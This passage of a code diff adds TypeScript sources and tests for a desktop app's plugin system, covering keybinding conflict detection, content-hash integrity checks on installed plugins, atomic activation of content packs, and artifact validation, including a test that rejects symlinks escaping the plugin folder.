keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
|
||||
})
|
||||
const second = commandPlugin('second', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile(
|
||||
[first, second],
|
||||
() => true,
|
||||
{ 'plugin:orca-samples.first/tasks': ['Mod+Shift+T'] },
|
||||
'linux'
|
||||
)
|
||||
|
||||
expect(registry.list()).toHaveLength(2)
|
||||
expect(registry.error(first.pluginKey)).toBeNull()
|
||||
expect(registry.error(second.pluginKey)).toBeNull()
|
||||
})
|
||||
|
||||
it('rejects conflicting saved bindings within one plugin', () => {
|
||||
const plugin = commandPlugin('aliases', {
|
||||
commands: [
|
||||
{ id: 'tasks', title: 'Tasks', action: 'view.tasks' },
|
||||
{ id: 'sidebar', title: 'Sidebar', action: 'sidebar.left.toggle' }
|
||||
]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile(
|
||||
[plugin],
|
||||
() => true,
|
||||
{
|
||||
'plugin:orca-samples.aliases/tasks': ['Mod+Alt+T'],
|
||||
'plugin:orca-samples.aliases/sidebar': ['Mod+Alt+T']
|
||||
},
|
||||
'linux'
|
||||
)
|
||||
|
||||
expect(registry.list()).toEqual([])
|
||||
expect(registry.error(plugin.pluginKey)).toContain('conflicts')
|
||||
})
|
||||
|
||||
it('detects cross-platform Mod and physical Ctrl conflicts', () => {
|
||||
const portable = commandPlugin('portable', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
|
||||
})
|
||||
const physical = commandPlugin('physical', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Ctrl+Alt+T' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile([portable, physical], () => true, {}, 'linux')
|
||||
|
||||
expect(registry.list()).toEqual([])
|
||||
expect(registry.error(portable.pluginKey)).toContain('conflicts')
|
||||
expect(registry.error(physical.pluginKey)).toContain('conflicts')
|
||||
})
|
||||
|
||||
it('allows the same worktree-only chord after one plugin is disabled', () => {
|
||||
const first = commandPlugin('first', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
|
||||
})
|
||||
const second = commandPlugin('second', {
|
||||
commands: [{ id: 'tasks', title: 'Tasks', context: 'worktree', action: 'view.tasks' }],
|
||||
keybindings: [{ command: 'tasks', key: 'Mod+Alt+T' }]
|
||||
})
|
||||
const registry = new PluginCommandRegistry()
|
||||
|
||||
registry.reconcile([first, second], (plugin) => plugin === first)
|
||||
|
||||
expect(registry.list()).toHaveLength(1)
|
||||
expect(registry.error(first.pluginKey)).toBeNull()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,167 @@
|
|||
import {
|
||||
pluginCommandKeybindingActionId,
|
||||
type PluginCommandAliasActionId
|
||||
} from '../../shared/plugins/plugin-command-actions'
|
||||
import { getKeybindingConflictIdentity, type KeybindingOverrides } from '../../shared/keybindings'
|
||||
import type {
|
||||
PluginCommandContribution,
|
||||
PluginManifest
|
||||
} from '../../shared/plugins/plugin-manifest'
|
||||
import type { PluginKeybindingContribution } from '../../shared/plugins/plugin-content-pack-contributions'
|
||||
import {
|
||||
isInvalidDiscoveredPlugin,
|
||||
type DiscoveredPlugin,
|
||||
type ValidDiscoveredPlugin
|
||||
} from './plugin-discovery'
|
||||
|
||||
export type PluginCommandKeybinding = {
|
||||
key: string
|
||||
when: 'global' | 'worktree'
|
||||
}
|
||||
|
||||
export type PluginCommandRegistration = {
|
||||
pluginKey: string
|
||||
id: string
|
||||
title: string
|
||||
context: 'global' | 'worktree'
|
||||
handler: { type: 'built-in'; action: PluginCommandAliasActionId } | { type: 'worker' }
|
||||
keybindings: PluginCommandKeybinding[]
|
||||
}
|
||||
|
||||
type CommandOwner = {
|
||||
pluginKey: string
|
||||
context: PluginCommandKeybinding['when']
|
||||
key: string
|
||||
}
|
||||
|
||||
export class PluginCommandRegistry {
|
||||
private active: PluginCommandRegistration[] = []
|
||||
private readonly previews = new Map<string, PluginCommandRegistration[]>()
|
||||
private readonly errors = new Map<string, string>()
|
||||
|
||||
list(): readonly PluginCommandRegistration[] {
|
||||
return this.active
|
||||
}
|
||||
|
||||
preview(pluginKey: string): readonly PluginCommandRegistration[] {
|
||||
return this.previews.get(pluginKey) ?? []
|
||||
}
|
||||
|
||||
error(pluginKey: string): string | null {
|
||||
return this.errors.get(pluginKey) ?? null
|
||||
}
|
||||
|
||||
reconcile(
|
||||
discovered: readonly DiscoveredPlugin[],
|
||||
isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
|
||||
overrides: KeybindingOverrides = {},
|
||||
platform: NodeJS.Platform = process.platform
|
||||
): void {
|
||||
const candidates = discovered.filter(
|
||||
(plugin): plugin is ValidDiscoveredPlugin =>
|
||||
!isInvalidDiscoveredPlugin(plugin) && plugin.manifest.contributes.commands.length > 0
|
||||
)
|
||||
const registrations = candidates.map((plugin) => ({
|
||||
pluginKey: plugin.pluginKey,
|
||||
approved: isApproved(plugin),
|
||||
commands: registrationsForManifest(plugin.pluginKey, plugin.manifest)
|
||||
}))
|
||||
|
||||
this.previews.clear()
|
||||
this.errors.clear()
|
||||
for (const plugin of registrations) {
|
||||
this.previews.set(plugin.pluginKey, plugin.commands)
|
||||
}
|
||||
|
||||
const approved = registrations.filter((plugin) => plugin.approved)
|
||||
const chordOwners = new Map<string, CommandOwner[]>()
|
||||
for (const plugin of approved) {
|
||||
for (const command of plugin.commands) {
|
||||
for (const keybinding of effectiveCommandKeybindings(command, overrides)) {
|
||||
const identity = getKeybindingConflictIdentity(keybinding.key, platform)
|
||||
const owners = chordOwners.get(identity) ?? []
|
||||
owners.push({
|
||||
pluginKey: plugin.pluginKey,
|
||||
context: keybinding.when,
|
||||
key: keybinding.key
|
||||
})
|
||||
chordOwners.set(identity, owners)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const conflicted = new Set<string>()
|
||||
for (const owners of chordOwners.values()) {
|
||||
for (let index = 0; index < owners.length; index += 1) {
|
||||
for (let compared = index + 1; compared < owners.length; compared += 1) {
|
||||
const first = owners[index]!
|
||||
const second = owners[compared]!
|
||||
if (!contextsOverlap(first.context, second.context)) {
|
||||
continue
|
||||
}
|
||||
conflicted.add(first.pluginKey)
|
||||
conflicted.add(second.pluginKey)
|
||||
this.errors.set(
|
||||
first.pluginKey,
|
||||
`plugin keybinding ${first.key} conflicts with another plugin`
|
||||
)
|
||||
this.errors.set(
|
||||
second.pluginKey,
|
||||
`plugin keybinding ${second.key} conflicts with another plugin`
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.active = approved
|
||||
.filter((plugin) => !conflicted.has(plugin.pluginKey))
|
||||
.flatMap((plugin) => plugin.commands)
|
||||
}
|
||||
}
|
||||
|
||||
function effectiveCommandKeybindings(
|
||||
command: PluginCommandRegistration,
|
||||
overrides: KeybindingOverrides
|
||||
): PluginCommandKeybinding[] {
|
||||
const override = overrides[pluginCommandKeybindingActionId(command.pluginKey, command.id)]
|
||||
if (!Array.isArray(override)) {
|
||||
return command.keybindings
|
||||
}
|
||||
return override.map((key) => ({ key, when: command.context }))
|
||||
}
|
||||
|
||||
function registrationsForManifest(
|
||||
pluginKey: string,
|
||||
manifest: PluginManifest
|
||||
): PluginCommandRegistration[] {
|
||||
return manifest.contributes.commands.map((command) => ({
|
||||
pluginKey,
|
||||
id: command.id,
|
||||
title: command.title,
|
||||
context: command.context ?? 'global',
|
||||
handler:
|
||||
command.action === undefined
|
||||
? { type: 'worker' as const }
|
||||
: { type: 'built-in' as const, action: command.action as PluginCommandAliasActionId },
|
||||
keybindings: keybindingsForCommand(command, manifest.contributes.keybindings)
|
||||
}))
|
||||
}
|
||||
|
||||
function keybindingsForCommand(
|
||||
command: PluginCommandContribution,
|
||||
keybindings: readonly PluginKeybindingContribution[]
|
||||
): PluginCommandKeybinding[] {
|
||||
return keybindings
|
||||
.filter((keybinding) => keybinding.command === command.id)
|
||||
.map((keybinding) => ({
|
||||
key: keybinding.key,
|
||||
when: keybinding.when ?? command.context ?? 'global'
|
||||
}))
|
||||
}
|
||||
|
||||
function contextsOverlap(
|
||||
first: PluginCommandKeybinding['when'],
|
||||
second: PluginCommandKeybinding['when']
|
||||
): boolean {
|
||||
return first === 'global' || second === 'global' || first === second
|
||||
}
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
import { createHash } from 'node:crypto'
|
||||
import { createReadStream } from 'node:fs'
|
||||
import { lstat, readdir } from 'node:fs/promises'
|
||||
import { join, relative } from 'node:path'
|
||||
import { pluginPathSegmentError } from '../../shared/plugins/plugin-path-safety'
|
||||
|
||||
/**
|
||||
* Deterministic hash of a plugin's file tree. The hash names the immutable
|
||||
* install directory (`<userData>/plugins/<publisher>.<id>/<hash>/`), so two
|
||||
* installs of identical content share a name and a mutated install is
|
||||
* detectable. Hashes relative paths + file bytes in sorted order; symlinks
|
||||
* are refused outright (installed trees must be self-contained).
|
||||
*/
|
||||
|
||||
const MAX_PLUGIN_FILES = 2_000
|
||||
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
|
||||
|
||||
type PluginFile = { path: string; size: number }
|
||||
|
||||
export type PluginTreeHashResult =
|
||||
| { ok: true; hash: string; fileCount: number; totalBytes: number }
|
||||
| { ok: false; error: string }
|
||||
|
||||
async function collectFiles(
|
||||
root: string,
|
||||
dir: string,
|
||||
files: PluginFile[],
|
||||
counters: { entries: number; bytes: number }
|
||||
): Promise<string | null> {
|
||||
const entries = await readdir(dir, { withFileTypes: true })
|
||||
// Why: localeCompare ordering varies with host locale/ICU data; content
|
||||
// addresses must sort identically on macOS, Linux, and Windows.
|
||||
entries.sort((left, right) => (left.name < right.name ? -1 : left.name > right.name ? 1 : 0))
|
||||
for (const entry of entries) {
|
||||
if (dir === root && entry.name === '.git') {
|
||||
continue
|
||||
}
|
||||
const segmentError = pluginPathSegmentError(entry.name)
|
||||
if (segmentError) {
|
||||
return `unsafe plugin path segment "${entry.name}": ${segmentError}`
|
||||
}
|
||||
const full = join(dir, entry.name)
|
||||
const stat = await lstat(full)
|
||||
counters.entries += 1
|
||||
if (counters.entries > MAX_PLUGIN_FILES) {
|
||||
return `plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`
|
||||
}
|
||||
if (stat.isSymbolicLink()) {
|
||||
return `symlink not allowed in plugin content: ${relative(root, full)}`
|
||||
}
|
||||
if (stat.isDirectory()) {
|
||||
const error = await collectFiles(root, full, files, counters)
|
||||
if (error) {
|
||||
return error
|
||||
}
|
||||
} else if (stat.isFile()) {
|
||||
counters.bytes += stat.size
|
||||
if (counters.bytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
return `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`
|
||||
}
|
||||
files.push({ path: full, size: stat.size })
|
||||
} else {
|
||||
return `unsupported plugin entry type: ${relative(root, full)}`
|
||||
}
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
async function hashFileBounded(
|
||||
hash: ReturnType<typeof createHash>,
|
||||
file: PluginFile
|
||||
): Promise<number> {
|
||||
let bytesRead = 0
|
||||
for await (const chunk of createReadStream(file.path)) {
|
||||
const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
bytesRead += bytes.byteLength
|
||||
if (bytesRead > file.size || bytesRead > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
throw new Error(`plugin file changed while hashing: ${file.path}`)
|
||||
}
|
||||
hash.update(bytes)
|
||||
}
|
||||
if (bytesRead !== file.size) {
|
||||
throw new Error(`plugin file changed while hashing: ${file.path}`)
|
||||
}
|
||||
return bytesRead
|
||||
}
|
||||
|
||||
export async function hashPluginTree(root: string): Promise<PluginTreeHashResult> {
|
||||
const files: PluginFile[] = []
|
||||
try {
|
||||
const counters = { entries: 0, bytes: 0 }
|
||||
const error = await collectFiles(root, root, files, counters)
|
||||
if (error) {
|
||||
return { ok: false, error }
|
||||
}
|
||||
const hash = createHash('sha256')
|
||||
// Why: every record is length-framed so path/content delimiters inside a
|
||||
// plugin file cannot make two different trees share one hash preimage.
|
||||
hash.update('orca-plugin-tree-v1\0')
|
||||
let totalBytes = 0
|
||||
for (const file of files) {
|
||||
totalBytes += file.size
|
||||
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
return { ok: false, error: `plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit` }
|
||||
}
|
||||
// Normalize separators so the same tree hashes identically on Windows.
|
||||
const rel = relative(root, file.path).replaceAll('\\', '/')
|
||||
hashLength(hash, Buffer.byteLength(rel, 'utf8'))
|
||||
hash.update(rel, 'utf8')
|
||||
hashLength(hash, file.size)
|
||||
await hashFileBounded(hash, file)
|
||||
}
|
||||
// Hex (not base64) because the hash becomes a directory name.
|
||||
return {
|
||||
ok: true,
|
||||
hash: hash.digest('hex'),
|
||||
fileCount: files.length,
|
||||
totalBytes
|
||||
}
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
}
|
||||
}
|
||||
|
||||
function hashLength(hash: ReturnType<typeof createHash>, length: number): void {
|
||||
const framedLength = Buffer.allocUnsafe(8)
|
||||
framedLength.writeBigUInt64BE(BigInt(length))
|
||||
hash.update(framedLength)
|
||||
}
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
import { hashPluginTree } from './plugin-content-hash'
|
||||
|
||||
export type HashAddressedPluginContent = {
|
||||
rootDir: string
|
||||
contentHash: string | null
|
||||
}
|
||||
|
||||
export type PluginContentIntegrityResult = { ok: true } | { ok: false; error: string }
|
||||
|
||||
/** Dev trees are intentionally mutable; installed hash-addressed trees are not. */
|
||||
export async function verifyHashAddressedPluginContent(
|
||||
plugin: HashAddressedPluginContent
|
||||
): Promise<PluginContentIntegrityResult> {
|
||||
if (plugin.contentHash === null) {
|
||||
return { ok: true }
|
||||
}
|
||||
const actual = await hashPluginTree(plugin.rootDir)
|
||||
if (!actual.ok) {
|
||||
return { ok: false, error: actual.error }
|
||||
}
|
||||
const matchesCurrentHash = actual.hash === plugin.contentHash
|
||||
// Early P0 installs used a 128-bit SHA-256 prefix as the directory name.
|
||||
// Honor that existing address while all new installs use the full digest.
|
||||
const matchesLegacyPrefix =
|
||||
plugin.contentHash.length === 32 && actual.hash.startsWith(plugin.contentHash)
|
||||
if (!matchesCurrentHash && !matchesLegacyPrefix) {
|
||||
return {
|
||||
ok: false,
|
||||
error: `content hash mismatch (expected ${plugin.contentHash}, got ${actual.hash})`
|
||||
}
|
||||
}
|
||||
return { ok: true }
|
||||
}
|
||||
|
||||
/** Deduplicates the first lazy verification for each discovered install. */
|
||||
export class PluginContentVerifier {
|
||||
private readonly verifications = new Map<string, Promise<PluginContentIntegrityResult>>()
|
||||
|
||||
clear(): void {
|
||||
this.verifications.clear()
|
||||
}
|
||||
|
||||
async verify(plugin: HashAddressedPluginContent & { pluginKey: string }): Promise<void> {
|
||||
// Why: a refresh can replace one same-key install while its old hash is
|
||||
// still being verified. Cache by immutable content identity, never key.
|
||||
const identity = JSON.stringify([plugin.pluginKey, plugin.rootDir, plugin.contentHash])
|
||||
let verification = this.verifications.get(identity)
|
||||
if (!verification) {
|
||||
verification = verifyHashAddressedPluginContent(plugin)
|
||||
this.verifications.set(identity, verification)
|
||||
}
|
||||
const result = await verification
|
||||
if (!result.ok) {
|
||||
this.verifications.delete(identity)
|
||||
throw new Error(`plugin ${plugin.pluginKey} failed integrity verification: ${result.error}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
import { mkdtemp, mkdir, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { pluginManifestSchema } from '../../shared/plugins/plugin-manifest'
|
||||
import { PluginContentVerifier } from './plugin-content-integrity'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
import { PluginContentPackRegistry } from './plugin-content-pack-registry'
|
||||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('PluginContentPackRegistry', () => {
|
||||
it('activates all contributions from a plugin atomically', async () => {
|
||||
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-registry-'))
|
||||
roots.push(rootDir)
|
||||
await mkdir(join(rootDir, 'locales'))
|
||||
await Promise.all([
|
||||
writeFile(
|
||||
join(rootDir, 'locales', 'invalid.json'),
|
||||
JSON.stringify({ settings: { title: 42 } })
|
||||
),
|
||||
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' }))
|
||||
])
|
||||
const manifest = pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'mixed-content',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Mixed Content',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {
|
||||
languagePacks: [
|
||||
{ locale: 'es', path: 'locales/valid.json' },
|
||||
{ locale: 'pt-BR', path: 'locales/invalid.json' }
|
||||
]
|
||||
},
|
||||
capabilities: []
|
||||
})
|
||||
const plugin: ValidDiscoveredPlugin = {
|
||||
pluginKey: 'orca-samples.mixed-content',
|
||||
rootDir,
|
||||
manifest,
|
||||
consentFingerprint: fingerprintPluginConsent(manifest),
|
||||
contentHash: null,
|
||||
isDev: true
|
||||
}
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
|
||||
|
||||
await registry.reconcile([plugin], () => true)
|
||||
|
||||
expect(registry.error(plugin.pluginKey)).toContain('string or object')
|
||||
expect(registry.languagePacks.list()).toEqual([])
|
||||
})
|
||||
|
||||
it('rolls back valid packs when a VM recipe from the same plugin is invalid', async () => {
|
||||
const rootDir = await mkdtemp(join(tmpdir(), 'orca-plugin-content-pack-vm-'))
|
||||
roots.push(rootDir)
|
||||
await Promise.all([mkdir(join(rootDir, 'locales')), mkdir(join(rootDir, 'recipes'))])
|
||||
await Promise.all([
|
||||
writeFile(join(rootDir, 'locales', 'valid.json'), JSON.stringify({ settings: 'Ajustes' })),
|
||||
writeFile(
|
||||
join(rootDir, 'recipes', 'invalid.json'),
|
||||
JSON.stringify({ schemaVersion: 1, id: 'bad', name: 'Bad', create: 'create', resume: 'up' })
|
||||
)
|
||||
])
|
||||
const manifest = pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'mixed-recipes',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Mixed Recipes',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
contributes: {
|
||||
languagePacks: [{ locale: 'es', path: 'locales/valid.json' }],
|
||||
vmRecipes: [{ path: 'recipes/invalid.json' }]
|
||||
},
|
||||
capabilities: []
|
||||
})
|
||||
const content = await hashPluginTree(rootDir)
|
||||
if (!content.ok) {
|
||||
throw new Error(content.error)
|
||||
}
|
||||
const plugin: ValidDiscoveredPlugin = {
|
||||
pluginKey: 'orca-samples.mixed-recipes',
|
||||
rootDir,
|
||||
manifest,
|
||||
consentFingerprint: fingerprintPluginConsent(manifest, content.hash),
|
||||
consentContentHash: content.hash,
|
||||
contentHash: null,
|
||||
isDev: true
|
||||
}
|
||||
const registry = new PluginContentPackRegistry(new PluginContentVerifier())
|
||||
|
||||
await registry.reconcile([plugin], () => true)
|
||||
|
||||
expect(registry.error(plugin.pluginKey)).toContain('suspend and resume')
|
||||
expect(registry.languagePacks.list()).toEqual([])
|
||||
expect(registry.vmRecipes.list()).toEqual([])
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
import type { PluginContentVerifier } from './plugin-content-integrity'
|
||||
import {
|
||||
isInvalidDiscoveredPlugin,
|
||||
type DiscoveredPlugin,
|
||||
type ValidDiscoveredPlugin
|
||||
} from './plugin-discovery'
|
||||
import { PluginLanguagePackRegistry } from './plugin-language-pack-registry'
|
||||
import { PluginVmRecipeRegistry } from './plugin-vm-recipe-registry'
|
||||
import { PluginCommandRegistry } from './plugin-command-registry'
|
||||
import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
|
||||
import type { KeybindingOverrides } from '../../shared/keybindings'
|
||||
|
||||
export class PluginContentPackRegistry {
|
||||
readonly languagePacks: PluginLanguagePackRegistry
|
||||
readonly vmRecipes: PluginVmRecipeRegistry
|
||||
readonly commands: PluginCommandRegistry
|
||||
private readonly activationErrors = new Map<string, string>()
|
||||
|
||||
constructor(contentVerifier: PluginContentVerifier) {
|
||||
this.languagePacks = new PluginLanguagePackRegistry(contentVerifier)
|
||||
this.vmRecipes = new PluginVmRecipeRegistry()
|
||||
this.commands = new PluginCommandRegistry()
|
||||
}
|
||||
|
||||
async reconcile(
|
||||
discovered: readonly DiscoveredPlugin[],
|
||||
isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
|
||||
keybindings: KeybindingOverrides = {}
|
||||
): Promise<void> {
|
||||
const approvedKeys = new Set(
|
||||
discovered
|
||||
.filter((plugin): plugin is ValidDiscoveredPlugin => !isInvalidDiscoveredPlugin(plugin))
|
||||
.filter(isApproved)
|
||||
.map((plugin) => plugin.pluginKey)
|
||||
)
|
||||
const excluded = new Set<string>()
|
||||
this.activationErrors.clear()
|
||||
|
||||
await Promise.all(
|
||||
discovered.map(async (plugin) => {
|
||||
if (
|
||||
isInvalidDiscoveredPlugin(plugin) ||
|
||||
!approvedKeys.has(plugin.pluginKey) ||
|
||||
plugin.manifest.contributes.vmRecipes.length > 0
|
||||
) {
|
||||
return
|
||||
}
|
||||
try {
|
||||
await verifyInstructionalPluginContent(plugin)
|
||||
} catch (error) {
|
||||
excluded.add(plugin.pluginKey)
|
||||
this.activationErrors.set(
|
||||
plugin.pluginKey,
|
||||
error instanceof Error ? error.message : String(error)
|
||||
)
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
while (true) {
|
||||
const approveAtomically = (plugin: ValidDiscoveredPlugin): boolean =>
|
||||
approvedKeys.has(plugin.pluginKey) && !excluded.has(plugin.pluginKey)
|
||||
await Promise.all([
|
||||
this.languagePacks.reconcile(discovered, approveAtomically),
|
||||
this.vmRecipes.reconcile(discovered, approveAtomically),
|
||||
this.commands.reconcile(discovered, approveAtomically, keybindings)
|
||||
])
|
||||
|
||||
let foundNewError = false
|
||||
for (const pluginKey of approvedKeys) {
|
||||
const error = this.registryError(pluginKey)
|
||||
if (error && !excluded.has(pluginKey)) {
|
||||
excluded.add(pluginKey)
|
||||
this.activationErrors.set(pluginKey, error)
|
||||
foundNewError = true
|
||||
}
|
||||
}
|
||||
if (!foundNewError) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
error(pluginKey: string): string | null {
|
||||
return this.activationErrors.get(pluginKey) ?? this.registryError(pluginKey)
|
||||
}
|
||||
|
||||
private registryError(pluginKey: string): string | null {
|
||||
return (
|
||||
this.languagePacks.error(pluginKey) ??
|
||||
this.vmRecipes.error(pluginKey) ??
|
||||
this.commands.error(pluginKey)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,305 @@
|
|||
import { mkdtemp, mkdir, rm, symlink, truncate, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
|
||||
import {
|
||||
PLUGIN_PANEL_ENTRY_MAX_BYTES,
|
||||
validateDeclaredPluginArtifacts,
|
||||
validatePluginInstallContent
|
||||
} from './plugin-artifact-validation'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
import { verifyHashAddressedPluginContent } from './plugin-content-integrity'
|
||||
import { PluginService } from './plugin-service'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
async function tempRoot(): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-content-test-'))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
type ManifestOverrides = Omit<Partial<PluginManifest>, 'contributes'> & {
|
||||
contributes?: Partial<PluginManifest['contributes']>
|
||||
}
|
||||
|
||||
function manifest(overrides: ManifestOverrides = {}): PluginManifest {
|
||||
const { contributes, ...manifestOverrides } = overrides
|
||||
return pluginManifestSchema.parse({
|
||||
manifestVersion: 1,
|
||||
id: 'demo',
|
||||
publisher: 'orca-samples',
|
||||
name: 'Demo',
|
||||
version: '1.0.0',
|
||||
engines: { orca: '>=1.0.0' },
|
||||
pluginApi: 1,
|
||||
capabilities: [],
|
||||
...manifestOverrides,
|
||||
contributes
|
||||
})
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
vi.restoreAllMocks()
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('declared plugin artifacts', () => {
|
||||
it('validates every content-pack file and directory before enablement', async () => {
|
||||
const root = await tempRoot()
|
||||
await Promise.all([
|
||||
mkdir(join(root, 'locales')),
|
||||
mkdir(join(root, 'recipes')),
|
||||
writeFile(join(root, 'agent.json'), '{}')
|
||||
])
|
||||
await Promise.all([
|
||||
writeFile(join(root, 'locales', 'pt-BR.json'), '{}'),
|
||||
writeFile(join(root, 'recipes', 'vm.json'), '{}')
|
||||
])
|
||||
const pluginManifest = manifest({
|
||||
contributes: {
|
||||
languagePacks: [{ locale: 'pt-BR', path: 'locales/pt-BR.json' }],
|
||||
vmRecipes: [{ path: 'recipes/vm.json' }],
|
||||
agents: [{ path: 'agent.json' }]
|
||||
}
|
||||
})
|
||||
|
||||
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
|
||||
ok: true
|
||||
})
|
||||
})
|
||||
|
||||
it('requires declared files to exist and be regular files', async () => {
|
||||
const root = await tempRoot()
|
||||
await mkdir(join(root, 'panel.html'))
|
||||
|
||||
const result = await validateDeclaredPluginArtifacts(
|
||||
root,
|
||||
manifest({
|
||||
main: 'missing-worker.js',
|
||||
contributes: {
|
||||
panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
|
||||
commands: [],
|
||||
events: []
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
expect(result).toMatchObject({ ok: false })
|
||||
})
|
||||
|
||||
it('refuses a panel reached through an escaping directory link or junction', async () => {
|
||||
const root = await tempRoot()
|
||||
const outsideDir = await tempRoot()
|
||||
const userDataPath = await tempRoot()
|
||||
await writeFile(join(outsideDir, 'panel.html'), '<h1>outside</h1>')
|
||||
await symlink(
|
||||
outsideDir,
|
||||
join(root, 'escape'),
|
||||
process.platform === 'win32' ? 'junction' : 'dir'
|
||||
)
|
||||
const pluginManifest = manifest({
|
||||
contributes: {
|
||||
panels: [{ id: 'panel', title: 'Panel', entry: 'escape/panel.html' }],
|
||||
commands: [],
|
||||
events: []
|
||||
}
|
||||
})
|
||||
await writeFile(join(root, 'orca-plugin.json'), JSON.stringify(pluginManifest))
|
||||
|
||||
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
|
||||
ok: false
|
||||
})
|
||||
|
||||
const pluginKey = `${pluginManifest.publisher}.${pluginManifest.id}`
|
||||
const service = new PluginService({
|
||||
userDataPath,
|
||||
hostVersion: '1.4.0',
|
||||
isPluginSystemEnabled: () => true,
|
||||
getDisabledPlugins: () => [],
|
||||
getPluginConsents: () => ({
|
||||
[pluginKey]: fingerprintPluginConsent(pluginManifest)
|
||||
}),
|
||||
getDevPluginPaths: () => [root]
|
||||
})
|
||||
try {
|
||||
await service.initialize()
|
||||
await expect(service.panels.readEntry(pluginKey, 'panel')).resolves.toBeNull()
|
||||
} finally {
|
||||
await service.dispose()
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects a panel artifact too large to mount safely in a renderer', async () => {
|
||||
const root = await tempRoot()
|
||||
const panelPath = join(root, 'panel.html')
|
||||
await writeFile(panelPath, '')
|
||||
await truncate(panelPath, PLUGIN_PANEL_ENTRY_MAX_BYTES + 1)
|
||||
const pluginManifest = manifest({
|
||||
contributes: {
|
||||
panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
|
||||
commands: [],
|
||||
events: []
|
||||
}
|
||||
})
|
||||
|
||||
await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('artifact limit')
|
||||
})
|
||||
})
|
||||
|
||||
it('parses VM recipes at the immutable install boundary', async () => {
|
||||
const root = await tempRoot()
|
||||
await mkdir(join(root, 'recipes'))
|
||||
await writeFile(
|
||||
join(root, 'recipes', 'invalid.json'),
|
||||
JSON.stringify({
|
||||
schemaVersion: 1,
|
||||
id: 'cloud',
|
||||
name: 'Cloud',
|
||||
create: 'create',
